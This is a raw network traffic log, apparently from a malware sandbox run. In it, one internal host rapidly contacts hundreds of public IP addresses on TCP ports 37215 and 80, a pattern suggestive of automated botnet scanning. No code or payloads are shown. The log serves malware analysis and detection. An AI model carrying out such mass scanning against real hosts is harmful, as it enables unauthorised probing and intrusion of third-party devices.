Jun 10, 2024 15:37:58.484095097 CEST	37215	30401	41.147.113.230	192.168.2.13
Jun 10, 2024 15:37:58.484107018 CEST	80	16833	18.32.122.88	192.168.2.13
Jun 10, 2024 15:37:58.484119892 CEST	80	16833	133.189.0.217	192.168.2.13
Jun 10, 2024 15:37:58.484131098 CEST	37215	30401	197.188.13.153	192.168.2.13
Jun 10, 2024 15:37:58.484137058 CEST	30401	37215	192.168.2.13	197.172.155.122
Jun 10, 2024 15:37:58.484137058 CEST	30401	37215	192.168.2.13	41.124.110.151
Jun 10, 2024 15:37:58.484143972 CEST	30401	37215	192.168.2.13	41.175.184.197
Jun 10, 2024 15:37:58.484143972 CEST	80	16833	64.96.27.44	192.168.2.13
Jun 10, 2024 15:37:58.484157085 CEST	80	16833	181.222.2.252	192.168.2.13
Jun 10, 2024 15:37:58.484157085 CEST	16833	80	192.168.2.13	53.98.252.58
Jun 10, 2024 15:37:58.484157085 CEST	16833	80	192.168.2.13	18.32.122.88
Jun 10, 2024 15:37:58.484169960 CEST	80	16833	184.30.88.108	192.168.2.13
Jun 10, 2024 15:37:58.484183073 CEST	80	16833	147.231.22.235	192.168.2.13
Jun 10, 2024 15:37:58.484188080 CEST	16833	80	192.168.2.13	133.189.0.217
Jun 10, 2024 15:37:58.484190941 CEST	30401	37215	192.168.2.13	197.243.244.21
Jun 10, 2024 15:37:58.484190941 CEST	30401	37215	192.168.2.13	41.147.113.230
Jun 10, 2024 15:37:58.484194040 CEST	30401	37215	192.168.2.13	197.188.13.153
Jun 10, 2024 15:37:58.484195948 CEST	80	16833	111.22.101.54	192.168.2.13
Jun 10, 2024 15:37:58.484209061 CEST	37215	30401	197.127.76.184	192.168.2.13
Jun 10, 2024 15:37:58.484215975 CEST	16833	80	192.168.2.13	64.96.27.44
Jun 10, 2024 15:37:58.484215975 CEST	16833	80	192.168.2.13	181.222.2.252
Jun 10, 2024 15:37:58.484220028 CEST	16833	80	192.168.2.13	184.30.88.108
Jun 10, 2024 15:37:58.484221935 CEST	80	16833	153.114.124.54	192.168.2.13
Jun 10, 2024 15:37:58.484227896 CEST	16833	80	192.168.2.13	147.231.22.235
Jun 10, 2024 15:37:58.484234095 CEST	16833	80	192.168.2.13	111.22.101.54
Jun 10, 2024 15:37:58.484236002 CEST	80	16833	207.248.119.145	192.168.2.13
Jun 10, 2024 15:37:58.484247923 CEST	30401	37215	192.168.2.13	197.127.76.184
Jun 10, 2024 15:37:58.484249115 CEST	80	16833	124.89.68.54	192.168.2.13
Jun 10, 2024 15:37:58.484255075 CEST	16833	80	192.168.2.13	153.114.124.54
Jun 10, 2024 15:37:58.484263897 CEST	80	16833	70.127.36.150	192.168.2.13
Jun 10, 2024 15:37:58.484267950 CEST	16833	80	192.168.2.13	207.248.119.145
Jun 10, 2024 15:37:58.484277010 CEST	37215	30401	197.62.240.51	192.168.2.13
Jun 10, 2024 15:37:58.484285116 CEST	16833	80	192.168.2.13	124.89.68.54
Jun 10, 2024 15:37:58.484285116 CEST	16833	80	192.168.2.13	70.127.36.150
Jun 10, 2024 15:37:58.484289885 CEST	37215	30401	156.185.10.55	192.168.2.13
Jun 10, 2024 15:37:58.484302998 CEST	37215	30401	41.86.145.145	192.168.2.13
Jun 10, 2024 15:37:58.484314919 CEST	37215	30401	197.107.210.65	192.168.2.13
Jun 10, 2024 15:37:58.484328032 CEST	80	16833	196.212.69.203	192.168.2.13
Jun 10, 2024 15:37:58.484344006 CEST	37215	30401	156.248.189.123	192.168.2.13
Jun 10, 2024 15:37:58.484357119 CEST	80	16833	45.222.20.5	192.168.2.13
Jun 10, 2024 15:37:58.484368086 CEST	80	16833	53.171.197.44	192.168.2.13
Jun 10, 2024 15:37:58.484380007 CEST	80	16833	78.179.28.249	192.168.2.13
Jun 10, 2024 15:37:58.484391928 CEST	37215	30401	41.250.250.184	192.168.2.13
Jun 10, 2024 15:37:58.484397888 CEST	30401	37215	192.168.2.13	197.62.240.51
Jun 10, 2024 15:37:58.484404087 CEST	30401	37215	192.168.2.13	41.86.145.145
Jun 10, 2024 15:37:58.484405041 CEST	37215	30401	41.137.56.71	192.168.2.13
Jun 10, 2024 15:37:58.484404087 CEST	16833	80	192.168.2.13	196.212.69.203
Jun 10, 2024 15:37:58.484404087 CEST	30401	37215	192.168.2.13	156.185.10.55
Jun 10, 2024 15:37:58.484414101 CEST	16833	80	192.168.2.13	53.171.197.44
Jun 10, 2024 15:37:58.484415054 CEST	16833	80	192.168.2.13	45.222.20.5
Jun 10, 2024 15:37:58.484419107 CEST	37215	30401	197.222.103.196	192.168.2.13
Jun 10, 2024 15:37:58.484420061 CEST	30401	37215	192.168.2.13	197.107.210.65
Jun 10, 2024 15:37:58.484421015 CEST	30401	37215	192.168.2.13	156.248.189.123
Jun 10, 2024 15:37:58.484431982 CEST	37215	30401	156.239.8.85	192.168.2.13
Jun 10, 2024 15:37:58.484436989 CEST	30401	37215	192.168.2.13	41.250.250.184
Jun 10, 2024 15:37:58.484445095 CEST	80	16833	59.232.57.123	192.168.2.13
Jun 10, 2024 15:37:58.484457970 CEST	80	16833	140.226.212.189	192.168.2.13
Jun 10, 2024 15:37:58.484471083 CEST	80	16833	156.94.157.86	192.168.2.13
Jun 10, 2024 15:37:58.484483957 CEST	16833	80	192.168.2.13	78.179.28.249
Jun 10, 2024 15:37:58.484484911 CEST	30401	37215	192.168.2.13	156.239.8.85
Jun 10, 2024 15:37:58.484498024 CEST	80	16833	191.231.196.140	192.168.2.13
Jun 10, 2024 15:37:58.484512091 CEST	37215	30401	156.183.251.127	192.168.2.13
Jun 10, 2024 15:37:58.484520912 CEST	30401	37215	192.168.2.13	41.137.56.71
Jun 10, 2024 15:37:58.484524965 CEST	80	16833	74.69.189.68	192.168.2.13
Jun 10, 2024 15:37:58.484536886 CEST	37215	30401	41.203.233.46	192.168.2.13
Jun 10, 2024 15:37:58.484549999 CEST	37215	30401	156.252.179.159	192.168.2.13
Jun 10, 2024 15:37:58.484559059 CEST	16833	80	192.168.2.13	74.69.189.68
Jun 10, 2024 15:37:58.484560013 CEST	16833	80	192.168.2.13	140.226.212.189
Jun 10, 2024 15:37:58.484560966 CEST	30401	37215	192.168.2.13	197.222.103.196
Jun 10, 2024 15:37:58.484560966 CEST	16833	80	192.168.2.13	59.232.57.123
Jun 10, 2024 15:37:58.484563112 CEST	80	16833	34.192.125.101	192.168.2.13
Jun 10, 2024 15:37:58.484563112 CEST	16833	80	192.168.2.13	156.94.157.86
Jun 10, 2024 15:37:58.484565020 CEST	16833	80	192.168.2.13	191.231.196.140
Jun 10, 2024 15:37:58.484615088 CEST	30401	37215	192.168.2.13	41.203.233.46
Jun 10, 2024 15:37:58.484620094 CEST	30401	37215	192.168.2.13	156.183.251.127
Jun 10, 2024 15:37:58.484632015 CEST	16833	80	192.168.2.13	34.192.125.101
Jun 10, 2024 15:37:58.484637976 CEST	30401	37215	192.168.2.13	156.252.179.159
Jun 10, 2024 15:37:58.486803055 CEST	37215	30401	197.121.216.212	192.168.2.13
Jun 10, 2024 15:37:58.486820936 CEST	37215	30401	156.171.85.63	192.168.2.13
Jun 10, 2024 15:37:58.486834049 CEST	37215	30401	156.34.211.222	192.168.2.13
Jun 10, 2024 15:37:58.486840010 CEST	80	16833	63.106.192.182	192.168.2.13
Jun 10, 2024 15:37:58.486845970 CEST	80	16833	97.2.85.138	192.168.2.13
Jun 10, 2024 15:37:58.486850977 CEST	37215	30401	41.57.52.239	192.168.2.13
Jun 10, 2024 15:37:58.486856937 CEST	37215	30401	156.46.29.55	192.168.2.13
Jun 10, 2024 15:37:58.486861944 CEST	37215	30401	41.104.26.218	192.168.2.13
Jun 10, 2024 15:37:58.486866951 CEST	80	16833	140.165.163.222	192.168.2.13
Jun 10, 2024 15:37:58.486872911 CEST	37215	30401	156.156.244.24	192.168.2.13
Jun 10, 2024 15:37:58.486877918 CEST	37215	30401	197.1.240.111	192.168.2.13
Jun 10, 2024 15:37:58.486884117 CEST	37215	30401	156.155.245.145	192.168.2.13
Jun 10, 2024 15:37:58.486890078 CEST	37215	30401	41.247.67.212	192.168.2.13
Jun 10, 2024 15:37:58.486895084 CEST	37215	30401	156.0.205.101	192.168.2.13
Jun 10, 2024 15:37:58.486901045 CEST	37215	30401	197.92.212.5	192.168.2.13
Jun 10, 2024 15:37:58.486907005 CEST	80	16833	78.170.4.232	192.168.2.13
Jun 10, 2024 15:37:58.486912012 CEST	37215	30401	156.33.108.230	192.168.2.13
Jun 10, 2024 15:37:58.486917973 CEST	37215	30401	156.179.100.196	192.168.2.13
Jun 10, 2024 15:37:58.486923933 CEST	37215	30401	156.177.212.186	192.168.2.13
Jun 10, 2024 15:37:58.486928940 CEST	37215	30401	41.55.24.26	192.168.2.13
Jun 10, 2024 15:37:58.486933947 CEST	80	16833	134.162.169.75	192.168.2.13
Jun 10, 2024 15:37:58.486939907 CEST	80	16833	200.138.82.75	192.168.2.13
Jun 10, 2024 15:37:58.486944914 CEST	80	16833	136.181.217.250	192.168.2.13
Jun 10, 2024 15:37:58.486953020 CEST	80	16833	190.71.246.251	192.168.2.13
Jun 10, 2024 15:37:58.486962080 CEST	80	16833	14.80.201.105	192.168.2.13
Jun 10, 2024 15:37:58.486968040 CEST	80	16833	80.44.181.39	192.168.2.13
Jun 10, 2024 15:37:58.486974955 CEST	37215	30401	156.235.172.187	192.168.2.13
Jun 10, 2024 15:37:58.486979961 CEST	80	16833	131.126.47.253	192.168.2.13
Jun 10, 2024 15:37:58.486985922 CEST	80	16833	54.135.120.141	192.168.2.13
Jun 10, 2024 15:37:58.486990929 CEST	80	16833	1.35.81.53	192.168.2.13
Jun 10, 2024 15:37:58.486996889 CEST	37215	30401	41.157.224.172	192.168.2.13
Jun 10, 2024 15:37:58.487001896 CEST	80	16833	158.170.218.198	192.168.2.13
Jun 10, 2024 15:37:58.487008095 CEST	80	16833	83.98.192.104	192.168.2.13
Jun 10, 2024 15:37:58.487013102 CEST	80	16833	67.119.53.6	192.168.2.13
Jun 10, 2024 15:37:58.487018108 CEST	37215	30401	156.221.145.171	192.168.2.13
Jun 10, 2024 15:37:58.487023115 CEST	37215	30401	197.221.129.41	192.168.2.13
Jun 10, 2024 15:37:58.487029076 CEST	37215	30401	197.49.53.13	192.168.2.13
Jun 10, 2024 15:37:58.487035036 CEST	80	16833	147.70.177.121	192.168.2.13
Jun 10, 2024 15:37:58.487040043 CEST	37215	30401	41.207.184.151	192.168.2.13
Jun 10, 2024 15:37:58.487046003 CEST	37215	30401	156.17.122.194	192.168.2.13
Jun 10, 2024 15:37:58.487198114 CEST	30401	37215	192.168.2.13	197.121.216.212
Jun 10, 2024 15:37:58.487199068 CEST	30401	37215	192.168.2.13	156.0.205.101
Jun 10, 2024 15:37:58.487201929 CEST	30401	37215	192.168.2.13	197.1.240.111
Jun 10, 2024 15:37:58.487204075 CEST	16833	80	192.168.2.13	134.162.169.75
Jun 10, 2024 15:37:58.487204075 CEST	16833	80	192.168.2.13	140.165.163.222
Jun 10, 2024 15:37:58.487207890 CEST	30401	37215	192.168.2.13	156.171.85.63
Jun 10, 2024 15:37:58.487229109 CEST	30401	37215	192.168.2.13	156.33.108.230
Jun 10, 2024 15:37:58.487229109 CEST	30401	37215	192.168.2.13	197.92.212.5
Jun 10, 2024 15:37:58.487229109 CEST	16833	80	192.168.2.13	136.181.217.250
Jun 10, 2024 15:37:58.487229109 CEST	16833	80	192.168.2.13	54.135.120.141
Jun 10, 2024 15:37:58.487230062 CEST	16833	80	192.168.2.13	80.44.181.39
Jun 10, 2024 15:37:58.487229109 CEST	30401	37215	192.168.2.13	156.155.245.145
Jun 10, 2024 15:37:58.487229109 CEST	16833	80	192.168.2.13	78.170.4.232
Jun 10, 2024 15:37:58.487230062 CEST	16833	80	192.168.2.13	190.71.246.251
Jun 10, 2024 15:37:58.487232924 CEST	30401	37215	192.168.2.13	41.104.26.218
Jun 10, 2024 15:37:58.487230062 CEST	30401	37215	192.168.2.13	197.221.129.41
Jun 10, 2024 15:37:58.487232924 CEST	30401	37215	192.168.2.13	41.57.52.239
Jun 10, 2024 15:37:58.487232924 CEST	30401	37215	192.168.2.13	156.235.172.187
Jun 10, 2024 15:37:58.487245083 CEST	16833	80	192.168.2.13	67.119.53.6
Jun 10, 2024 15:37:58.487245083 CEST	30401	37215	192.168.2.13	197.49.53.13
Jun 10, 2024 15:37:58.487246990 CEST	30401	37215	192.168.2.13	156.17.122.194
Jun 10, 2024 15:37:58.487250090 CEST	16833	80	192.168.2.13	158.170.218.198
Jun 10, 2024 15:37:58.487437963 CEST	16833	80	192.168.2.13	63.106.192.182
Jun 10, 2024 15:37:58.487442970 CEST	30401	37215	192.168.2.13	41.55.24.26
Jun 10, 2024 15:37:58.487442970 CEST	16833	80	192.168.2.13	200.138.82.75
Jun 10, 2024 15:37:58.487447977 CEST	30401	37215	192.168.2.13	156.46.29.55
Jun 10, 2024 15:37:58.487447977 CEST	30401	37215	192.168.2.13	156.177.212.186
Jun 10, 2024 15:37:58.487449884 CEST	30401	37215	192.168.2.13	41.247.67.212
Jun 10, 2024 15:37:58.487452984 CEST	30401	37215	192.168.2.13	156.34.211.222
Jun 10, 2024 15:37:58.487458944 CEST	30401	37215	192.168.2.13	156.179.100.196
Jun 10, 2024 15:37:58.487467051 CEST	16833	80	192.168.2.13	97.2.85.138
Jun 10, 2024 15:37:58.487467051 CEST	16833	80	192.168.2.13	14.80.201.105
Jun 10, 2024 15:37:58.487467051 CEST	16833	80	192.168.2.13	147.70.177.121
Jun 10, 2024 15:37:58.487473011 CEST	16833	80	192.168.2.13	1.35.81.53
Jun 10, 2024 15:37:58.487476110 CEST	30401	37215	192.168.2.13	41.157.224.172
Jun 10, 2024 15:37:58.487476110 CEST	16833	80	192.168.2.13	131.126.47.253
Jun 10, 2024 15:37:58.487481117 CEST	30401	37215	192.168.2.13	156.221.145.171
Jun 10, 2024 15:37:58.487485886 CEST	30401	37215	192.168.2.13	156.156.244.24
Jun 10, 2024 15:37:58.487488031 CEST	16833	80	192.168.2.13	83.98.192.104
Jun 10, 2024 15:37:58.487488031 CEST	30401	37215	192.168.2.13	41.207.184.151
Jun 10, 2024 15:37:58.488825083 CEST	80	16833	158.115.121.61	192.168.2.13
Jun 10, 2024 15:37:58.488842010 CEST	37215	30401	197.185.134.203	192.168.2.13
Jun 10, 2024 15:37:58.488854885 CEST	80	16833	47.99.117.193	192.168.2.13
Jun 10, 2024 15:37:58.488867044 CEST	37215	30401	156.226.176.129	192.168.2.13
Jun 10, 2024 15:37:58.488878965 CEST	37215	30401	156.204.224.14	192.168.2.13
Jun 10, 2024 15:37:58.488889933 CEST	37215	30401	156.201.148.50	192.168.2.13
Jun 10, 2024 15:37:58.488902092 CEST	37215	30401	156.188.33.125	192.168.2.13
Jun 10, 2024 15:37:58.488904953 CEST	16833	80	192.168.2.13	158.115.121.61
Jun 10, 2024 15:37:58.488905907 CEST	30401	37215	192.168.2.13	197.185.134.203
Jun 10, 2024 15:37:58.488905907 CEST	16833	80	192.168.2.13	47.99.117.193
Jun 10, 2024 15:37:58.488914013 CEST	30401	37215	192.168.2.13	156.226.176.129
Jun 10, 2024 15:37:58.488914013 CEST	30401	37215	192.168.2.13	156.204.224.14
Jun 10, 2024 15:37:58.488914967 CEST	37215	30401	197.110.153.12	192.168.2.13
Jun 10, 2024 15:37:58.488926888 CEST	30401	37215	192.168.2.13	156.188.33.125
Jun 10, 2024 15:37:58.488926888 CEST	37215	30401	197.84.65.24	192.168.2.13
Jun 10, 2024 15:37:58.488934040 CEST	30401	37215	192.168.2.13	156.201.148.50
Jun 10, 2024 15:37:58.488940954 CEST	80	16833	65.19.124.123	192.168.2.13
Jun 10, 2024 15:37:58.488954067 CEST	37215	30401	156.103.26.204	192.168.2.13
Jun 10, 2024 15:37:58.488967896 CEST	80	16833	2.189.163.58	192.168.2.13
Jun 10, 2024 15:37:58.488981009 CEST	37215	30401	156.233.69.178	192.168.2.13
Jun 10, 2024 15:37:58.488986015 CEST	16833	80	192.168.2.13	65.19.124.123
Jun 10, 2024 15:37:58.488986015 CEST	30401	37215	192.168.2.13	156.103.26.204
Jun 10, 2024 15:37:58.488992929 CEST	80	16833	146.250.96.87	192.168.2.13
Jun 10, 2024 15:37:58.488993883 CEST	30401	37215	192.168.2.13	197.110.153.12
Jun 10, 2024 15:37:58.489006996 CEST	37215	30401	197.49.200.66	192.168.2.13
Jun 10, 2024 15:37:58.489020109 CEST	37215	30401	156.9.88.239	192.168.2.13
Jun 10, 2024 15:37:58.489032030 CEST	37215	30401	41.179.45.254	192.168.2.13
Jun 10, 2024 15:37:58.489044905 CEST	37215	30401	41.176.37.140	192.168.2.13
Jun 10, 2024 15:37:58.489057064 CEST	80	16833	20.103.214.14	192.168.2.13
Jun 10, 2024 15:37:58.489064932 CEST	16833	80	192.168.2.13	2.189.163.58
Jun 10, 2024 15:37:58.489068031 CEST	37215	30401	156.183.36.228	192.168.2.13
Jun 10, 2024 15:37:58.489078045 CEST	30401	37215	192.168.2.13	41.179.45.254
Jun 10, 2024 15:37:58.489078045 CEST	30401	37215	192.168.2.13	156.9.88.239
Jun 10, 2024 15:37:58.489078999 CEST	30401	37215	192.168.2.13	156.233.69.178
Jun 10, 2024 15:37:58.489083052 CEST	37215	30401	41.41.221.146	192.168.2.13
Jun 10, 2024 15:37:58.489079952 CEST	30401	37215	192.168.2.13	197.84.65.24
Jun 10, 2024 15:37:58.489078999 CEST	30401	37215	192.168.2.13	197.49.200.66
Jun 10, 2024 15:37:58.489090919 CEST	16833	80	192.168.2.13	146.250.96.87
Jun 10, 2024 15:37:58.489099979 CEST	80	16833	120.20.249.122	192.168.2.13
Jun 10, 2024 15:37:58.489099026 CEST	30401	37215	192.168.2.13	41.176.37.140
Jun 10, 2024 15:37:58.489099026 CEST	16833	80	192.168.2.13	20.103.214.14
Jun 10, 2024 15:37:58.489113092 CEST	37215	30401	41.151.139.109	192.168.2.13
Jun 10, 2024 15:37:58.489128113 CEST	37215	30401	197.219.70.72	192.168.2.13
Jun 10, 2024 15:37:58.489142895 CEST	37215	30401	41.71.92.89	192.168.2.13
Jun 10, 2024 15:37:58.489145994 CEST	16833	80	192.168.2.13	120.20.249.122
Jun 10, 2024 15:37:58.489151955 CEST	30401	37215	192.168.2.13	41.41.221.146
Jun 10, 2024 15:37:58.489151955 CEST	30401	37215	192.168.2.13	156.183.36.228
Jun 10, 2024 15:37:58.489151955 CEST	30401	37215	192.168.2.13	41.151.139.109
Jun 10, 2024 15:37:58.489156008 CEST	37215	30401	156.2.124.85	192.168.2.13
Jun 10, 2024 15:37:58.489162922 CEST	30401	37215	192.168.2.13	197.219.70.72
Jun 10, 2024 15:37:58.489168882 CEST	80	16833	111.88.201.58	192.168.2.13
Jun 10, 2024 15:37:58.489181042 CEST	37215	30401	197.125.190.64	192.168.2.13
Jun 10, 2024 15:37:58.489192963 CEST	80	16833	67.122.134.76	192.168.2.13
Jun 10, 2024 15:37:58.489204884 CEST	37215	30401	197.62.66.22	192.168.2.13
Jun 10, 2024 15:37:58.489217997 CEST	37215	30401	41.209.102.150	192.168.2.13
Jun 10, 2024 15:37:58.489222050 CEST	16833	80	192.168.2.13	111.88.201.58
Jun 10, 2024 15:37:58.489231110 CEST	37215	30401	41.105.214.229	192.168.2.13
Jun 10, 2024 15:37:58.489242077 CEST	30401	37215	192.168.2.13	41.71.92.89
Jun 10, 2024 15:37:58.489243984 CEST	37215	30401	41.8.33.0	192.168.2.13
Jun 10, 2024 15:37:58.489255905 CEST	37215	30401	197.207.96.120	192.168.2.13
Jun 10, 2024 15:37:58.489268064 CEST	37215	30401	41.199.228.40	192.168.2.13
Jun 10, 2024 15:37:58.489269972 CEST	30401	37215	192.168.2.13	156.2.124.85
Jun 10, 2024 15:37:58.489269972 CEST	30401	37215	192.168.2.13	197.125.190.64
Jun 10, 2024 15:37:58.489279985 CEST	16833	80	192.168.2.13	67.122.134.76
Jun 10, 2024 15:37:58.489280939 CEST	37215	30401	156.199.172.162	192.168.2.13
Jun 10, 2024 15:37:58.489284992 CEST	30401	37215	192.168.2.13	41.209.102.150
Jun 10, 2024 15:37:58.489284992 CEST	30401	37215	192.168.2.13	41.8.33.0
Jun 10, 2024 15:37:58.489295006 CEST	37215	30401	156.18.60.252	192.168.2.13
Jun 10, 2024 15:37:58.489300013 CEST	30401	37215	192.168.2.13	41.105.214.229
Jun 10, 2024 15:37:58.489309072 CEST	37215	30401	156.131.46.81	192.168.2.13
Jun 10, 2024 15:37:58.489320993 CEST	37215	30401	41.151.251.55	192.168.2.13
Jun 10, 2024 15:37:58.489332914 CEST	80	16833	194.211.56.104	192.168.2.13
Jun 10, 2024 15:37:58.489343882 CEST	37215	30401	41.162.217.198	192.168.2.13
Jun 10, 2024 15:37:58.489346981 CEST	30401	37215	192.168.2.13	197.62.66.22
Jun 10, 2024 15:37:58.489346981 CEST	30401	37215	192.168.2.13	197.207.96.120
Jun 10, 2024 15:37:58.489351034 CEST	30401	37215	192.168.2.13	156.18.60.252
Jun 10, 2024 15:37:58.489356041 CEST	30401	37215	192.168.2.13	41.199.228.40
Jun 10, 2024 15:37:58.489356041 CEST	30401	37215	192.168.2.13	156.199.172.162
Jun 10, 2024 15:37:58.489367008 CEST	30401	37215	192.168.2.13	156.131.46.81
Jun 10, 2024 15:37:58.489368916 CEST	16833	80	192.168.2.13	194.211.56.104
Jun 10, 2024 15:37:58.489371061 CEST	30401	37215	192.168.2.13	41.151.251.55
Jun 10, 2024 15:37:58.489386082 CEST	30401	37215	192.168.2.13	41.162.217.198
Jun 10, 2024 15:37:58.491586924 CEST	37215	30401	156.115.213.35	192.168.2.13
Jun 10, 2024 15:37:58.491605043 CEST	37215	30401	197.214.115.45	192.168.2.13
Jun 10, 2024 15:37:58.491616964 CEST	37215	30401	156.79.242.90	192.168.2.13
Jun 10, 2024 15:37:58.491630077 CEST	37215	30401	156.152.113.181	192.168.2.13
Jun 10, 2024 15:37:58.491635084 CEST	30401	37215	192.168.2.13	156.115.213.35
Jun 10, 2024 15:37:58.491641998 CEST	80	16833	13.56.173.158	192.168.2.13
Jun 10, 2024 15:37:58.491646051 CEST	30401	37215	192.168.2.13	197.214.115.45
Jun 10, 2024 15:37:58.491655111 CEST	30401	37215	192.168.2.13	156.152.113.181
Jun 10, 2024 15:37:58.491656065 CEST	37215	30401	156.223.238.77	192.168.2.13
Jun 10, 2024 15:37:58.491658926 CEST	30401	37215	192.168.2.13	156.79.242.90
Jun 10, 2024 15:37:58.491668940 CEST	37215	30401	197.59.134.153	192.168.2.13
Jun 10, 2024 15:37:58.491669893 CEST	16833	80	192.168.2.13	13.56.173.158
Jun 10, 2024 15:37:58.491682053 CEST	37215	30401	41.110.181.97	192.168.2.13
Jun 10, 2024 15:37:58.491691113 CEST	30401	37215	192.168.2.13	156.223.238.77
Jun 10, 2024 15:37:58.491693974 CEST	37215	30401	156.51.141.128	192.168.2.13
Jun 10, 2024 15:37:58.491702080 CEST	30401	37215	192.168.2.13	197.59.134.153
Jun 10, 2024 15:37:58.491707087 CEST	37215	30401	197.117.227.181	192.168.2.13
Jun 10, 2024 15:37:58.491719007 CEST	37215	30401	156.12.231.179	192.168.2.13
Jun 10, 2024 15:37:58.491719007 CEST	30401	37215	192.168.2.13	156.51.141.128
Jun 10, 2024 15:37:58.491722107 CEST	30401	37215	192.168.2.13	41.110.181.97
Jun 10, 2024 15:37:58.491730928 CEST	37215	30401	156.170.243.98	192.168.2.13
Jun 10, 2024 15:37:58.491743088 CEST	80	16833	168.24.60.63	192.168.2.13
Jun 10, 2024 15:37:58.491745949 CEST	30401	37215	192.168.2.13	156.12.231.179
Jun 10, 2024 15:37:58.491755009 CEST	80	16833	35.219.97.25	192.168.2.13
Jun 10, 2024 15:37:58.491761923 CEST	30401	37215	192.168.2.13	156.170.243.98
Jun 10, 2024 15:37:58.491765022 CEST	30401	37215	192.168.2.13	197.117.227.181
Jun 10, 2024 15:37:58.491766930 CEST	37215	30401	197.92.111.93	192.168.2.13
Jun 10, 2024 15:37:58.491780043 CEST	80	16833	4.35.61.244	192.168.2.13
Jun 10, 2024 15:37:58.491782904 CEST	16833	80	192.168.2.13	168.24.60.63
Jun 10, 2024 15:37:58.491791964 CEST	80	16833	148.139.133.210	192.168.2.13
Jun 10, 2024 15:37:58.491801023 CEST	16833	80	192.168.2.13	35.219.97.25
Jun 10, 2024 15:37:58.491801023 CEST	30401	37215	192.168.2.13	197.92.111.93
Jun 10, 2024 15:37:58.491805077 CEST	80	16833	193.171.109.56	192.168.2.13
Jun 10, 2024 15:37:58.491816998 CEST	80	16833	168.59.197.40	192.168.2.13
Jun 10, 2024 15:37:58.491830111 CEST	80	16833	144.71.180.84	192.168.2.13
Jun 10, 2024 15:37:58.491828918 CEST	16833	80	192.168.2.13	148.139.133.210
Jun 10, 2024 15:37:58.491842031 CEST	80	16833	69.49.69.136	192.168.2.13
Jun 10, 2024 15:37:58.491842031 CEST	16833	80	192.168.2.13	193.171.109.56
Jun 10, 2024 15:37:58.491847992 CEST	16833	80	192.168.2.13	168.59.197.40
Jun 10, 2024 15:37:58.491854906 CEST	80	16833	211.160.156.73	192.168.2.13
Jun 10, 2024 15:37:58.491868019 CEST	80	16833	18.149.122.44	192.168.2.13
Jun 10, 2024 15:37:58.491868973 CEST	16833	80	192.168.2.13	4.35.61.244
Jun 10, 2024 15:37:58.491873980 CEST	16833	80	192.168.2.13	144.71.180.84
Jun 10, 2024 15:37:58.491873980 CEST	16833	80	192.168.2.13	69.49.69.136
Jun 10, 2024 15:37:58.491882086 CEST	80	16833	39.85.248.251	192.168.2.13
Jun 10, 2024 15:37:58.491894960 CEST	16833	80	192.168.2.13	211.160.156.73
Jun 10, 2024 15:37:58.491897106 CEST	80	16833	85.74.64.226	192.168.2.13
Jun 10, 2024 15:37:58.491902113 CEST	16833	80	192.168.2.13	18.149.122.44
Jun 10, 2024 15:37:58.491909981 CEST	80	16833	181.173.119.40	192.168.2.13
Jun 10, 2024 15:37:58.491915941 CEST	16833	80	192.168.2.13	39.85.248.251
Jun 10, 2024 15:37:58.491923094 CEST	80	16833	49.40.81.134	192.168.2.13
Jun 10, 2024 15:37:58.491935968 CEST	80	16833	131.216.178.254	192.168.2.13
Jun 10, 2024 15:37:58.491946936 CEST	80	16833	203.129.32.100	192.168.2.13
Jun 10, 2024 15:37:58.491955996 CEST	16833	80	192.168.2.13	181.173.119.40
Jun 10, 2024 15:37:58.491955996 CEST	16833	80	192.168.2.13	49.40.81.134
Jun 10, 2024 15:37:58.491960049 CEST	80	16833	35.103.207.150	192.168.2.13
Jun 10, 2024 15:37:58.491972923 CEST	80	16833	222.79.242.11	192.168.2.13
Jun 10, 2024 15:37:58.491981030 CEST	16833	80	192.168.2.13	85.74.64.226
Jun 10, 2024 15:37:58.491981030 CEST	16833	80	192.168.2.13	203.129.32.100
Jun 10, 2024 15:37:58.491981983 CEST	16833	80	192.168.2.13	131.216.178.254
Jun 10, 2024 15:37:58.491986036 CEST	80	16833	170.66.97.164	192.168.2.13
Jun 10, 2024 15:37:58.491997957 CEST	80	16833	132.139.52.220	192.168.2.13
Jun 10, 2024 15:37:58.492005110 CEST	16833	80	192.168.2.13	35.103.207.150
Jun 10, 2024 15:37:58.492005110 CEST	16833	80	192.168.2.13	222.79.242.11
Jun 10, 2024 15:37:58.492011070 CEST	80	16833	77.183.43.209	192.168.2.13
Jun 10, 2024 15:37:58.492017984 CEST	16833	80	192.168.2.13	170.66.97.164
Jun 10, 2024 15:37:58.492023945 CEST	80	16833	116.251.30.70	192.168.2.13
Jun 10, 2024 15:37:58.492027998 CEST	16833	80	192.168.2.13	132.139.52.220
Jun 10, 2024 15:37:58.492037058 CEST	80	16833	91.48.178.235	192.168.2.13
Jun 10, 2024 15:37:58.492048979 CEST	80	16833	36.83.112.138	192.168.2.13
Jun 10, 2024 15:37:58.492053032 CEST	16833	80	192.168.2.13	116.251.30.70
Jun 10, 2024 15:37:58.492060900 CEST	80	16833	212.65.128.236	192.168.2.13
Jun 10, 2024 15:37:58.492072105 CEST	16833	80	192.168.2.13	77.183.43.209
Jun 10, 2024 15:37:58.492073059 CEST	80	16833	19.163.217.6	192.168.2.13
Jun 10, 2024 15:37:58.492078066 CEST	16833	80	192.168.2.13	91.48.178.235
Jun 10, 2024 15:37:58.492079020 CEST	16833	80	192.168.2.13	36.83.112.138
Jun 10, 2024 15:37:58.492084980 CEST	80	16833	89.73.72.200	192.168.2.13
Jun 10, 2024 15:37:58.492098093 CEST	80	16833	52.118.113.204	192.168.2.13
Jun 10, 2024 15:37:58.492099047 CEST	16833	80	192.168.2.13	212.65.128.236
Jun 10, 2024 15:37:58.492113113 CEST	16833	80	192.168.2.13	19.163.217.6
Jun 10, 2024 15:37:58.492113113 CEST	16833	80	192.168.2.13	89.73.72.200
Jun 10, 2024 15:37:58.492136955 CEST	16833	80	192.168.2.13	52.118.113.204
Jun 10, 2024 15:37:58.493594885 CEST	80	16833	183.180.158.37	192.168.2.13
Jun 10, 2024 15:37:58.493612051 CEST	80	16833	159.193.247.198	192.168.2.13
Jun 10, 2024 15:37:58.493623972 CEST	80	16833	87.101.156.8	192.168.2.13
Jun 10, 2024 15:37:58.493637085 CEST	80	16833	212.148.218.185	192.168.2.13
Jun 10, 2024 15:37:58.493649006 CEST	80	16833	206.74.220.141	192.168.2.13
Jun 10, 2024 15:37:58.493659973 CEST	80	16833	155.219.109.111	192.168.2.13
Jun 10, 2024 15:37:58.493669033 CEST	16833	80	192.168.2.13	159.193.247.198
Jun 10, 2024 15:37:58.493674040 CEST	80	16833	43.26.133.47	192.168.2.13
